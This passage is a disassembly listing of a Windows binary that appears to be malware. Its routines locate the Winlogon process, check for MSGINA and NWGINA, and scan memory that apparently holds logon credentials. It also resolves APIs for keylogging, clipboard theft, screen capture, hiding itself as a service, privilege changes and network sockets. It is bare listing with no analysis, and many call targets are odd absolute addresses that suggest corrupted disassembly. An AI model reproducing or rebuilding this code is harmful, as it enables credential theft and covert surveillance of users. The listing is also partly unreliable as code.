		add	esp, 14h


loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43AA44
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2720000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43AA44
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6


loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43AA38
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43AC48
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E


loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43AA40


loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]


loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292


loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi


loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2720000h
		mov	eax, edi


loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324


loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43AA40


loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------


loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 2740795h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------


loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27401D3h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------


loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2730BE1h
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518


loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_439A38
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43A238
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6


loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 26C05EAh
		nop
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43AC5C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43AC54, eax
		mov	dword_43AC58, edi


loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2720000h
		mov	esi, [ebp+var_10]


loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		call	near ptr 2651922h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2740795h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27401D3h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC


loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2730BE1h
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2730000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_409602
		push	offset dword_439A38
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43A238
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632


loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		jmp	short loc_409616
; ---------------------------------------------------------------------------


loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584


loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		call	near ptr 2651922h
		nop


loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax


loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43AC54, ebx
		mov	dword_43AC58, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C


loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654


loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2651922h
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43AC50
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2730000h
		mov	ecx, dword_43AC50
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43AC58
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43AC5C
		push	eax
		call	dword_43AA3C
		push	[ebp+var_4]
		mov	edi, offset dword_43AA48
		push	offset dword_439A38
		push	offset dword_43A238
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2720000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43AC50
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 2730BA2h
		nop
		push	eax
		nop
		call	near ptr 2730000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43A238
		mov	edi, 200h
		mov	esi, offset dword_439838


loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43AC50
		add	eax, eax
		push	eax
		push	dword_43AC58
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43AA3C
		mov	eax, dword_43AC50
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1


loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0


loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1


loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0


loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE


loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h


loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		call	near ptr 2730BA2h
		nop
		push	eax
		nop
		call	near ptr 2720000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43AE44, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43ADB8, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43AD9C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43ACB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43AC64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43AC94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43AD08, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43ADF8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43AE54, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43ACC4, eax
		call	esi
		cmp	dword_43AE44, ebx
		mov	dword_43ACAC, eax
		jz	short loc_40991D
		cmp	dword_43ADB8, ebx
		jz	short loc_40991D
		cmp	dword_43AD9C, ebx
		jz	short loc_40991D
		cmp	dword_43ACB8, ebx
		jz	short loc_40991D
		cmp	dword_43AC94, ebx
		jz	short loc_40991D
		cmp	dword_43AD08, ebx
		jz	short loc_40991D
		cmp	dword_43ADF8, ebx
		jz	short loc_40991D
		cmp	dword_43AE54, ebx
		jz	short loc_40991D
		cmp	dword_43ACC4, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927


loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43AE58, 1


loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43ADD0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------


loc_40993F:				; CODE XREF: sub_40981F+1Dj
		nop
		call	near ptr 2670ADCh
		mov	dword_43AE5C, eax
		mov	dword_43AE58, 1


loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2710771h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43ADF4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43ADA4, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43AD38, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43AE48, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43AD68, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43AD88, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43ADEC, eax
		call	esi
		cmp	dword_43ADF4, ebx
		mov	dword_43ACE0, eax
		jz	short loc_409A0D
		cmp	dword_43ADA4, ebx
		jz	short loc_409A0D
		cmp	dword_43AD38, ebx
		jz	short loc_409A0D
		cmp	dword_43AE48, ebx
		jz	short loc_409A0D
		cmp	dword_43AD68, ebx
		jz	short loc_409A0D
		cmp	dword_43AD88, ebx
		jz	short loc_409A0D
		cmp	dword_43ADEC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17


loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43AE60, 1


loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43AD64, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43AC78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43AD34, eax
		call	esi
		cmp	dword_43AD64, ebx
		mov	dword_43AD20, eax
		jz	short loc_409A74
		cmp	dword_43AC78, ebx
		jz	short loc_409A74
		cmp	dword_43AD34, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------


loc_409A69:				; CODE XREF: sub_40981F+144j
		call	near ptr 2670ADCh
		nop
		mov	dword_43AE64, eax


loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43AE60, 1


loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43AE08, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43AD4C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43ADBC, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43ACA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43AD04, eax
		call	esi
		cmp	dword_43AE08, ebx
		mov	dword_43AD74, eax
		jz	short loc_409B09
		cmp	dword_43AD4C, ebx
		jz	short loc_409B09
		cmp	dword_43ADBC, ebx
		jz	short loc_409B09
		cmp	dword_43ACA4, ebx
		jz	short loc_409B09
		cmp	dword_43AD04, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13


loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43AE68, 1


loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43AD7C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43AD54, eax
		call	esi
		cmp	dword_43AD7C, ebx
		mov	dword_43AE04, eax
		jz	short loc_409B4E
		cmp	dword_43AD54, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58


loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43AE68, 1


loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43AD8C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43AC80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43AC88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43ACE8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43ACEC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43AC9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43AD58, eax
		call	esi
		cmp	dword_43AD8C, ebx
		mov	dword_43AC8C, eax
		jz	short loc_409BFC
		cmp	dword_43AC80, ebx
		jz	short loc_409BFC
		cmp	dword_43AC88, ebx
		jz	short loc_409BFC
		cmp	dword_43ACE8, ebx
		jz	short loc_409BFC
		cmp	dword_43ACEC, ebx
		jz	short loc_409BFC
		cmp	dword_43AC9C, ebx
		jz	short loc_409BFC
		cmp	dword_43AD58, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06


loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43AE68, 1


loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43AC84, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------


loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 2670ADCh
		mov	dword_43AE6C, eax


loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43AE68, 1


loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43AD84, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43ADDC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43ADE4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43ADA0, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43ACC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43AC74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43ADE0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43AC60, eax
		call	esi
		cmp	dword_43AD84, ebx
		mov	dword_43ACFC, eax
		jz	short loc_409D05
		cmp	dword_43ADDC, ebx
		jz	short loc_409D05
		cmp	dword_43ADE4, ebx
		jz	short loc_409D05
		cmp	dword_43ADA0, ebx
		jz	short loc_409D05
		cmp	dword_43ACC8, ebx
		jz	short loc_409D05
		cmp	dword_43AC74, ebx
		jz	short loc_409D05
		cmp	dword_43ADE0, ebx
		jz	short loc_409D05
		cmp	dword_43AC60, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------


loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		nop
		call	near ptr 2670ADCh
		mov	dword_43AE74, eax


loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43AE70, 1


loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43AD10, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43AE3C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43ACB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43AC90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43AD44, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43AD2C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43ACF8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43AE18, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43AE34, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43AD40, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43AE24, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43ADD8, eax
		call	esi
		push	offset aHtonl	; "htonl"
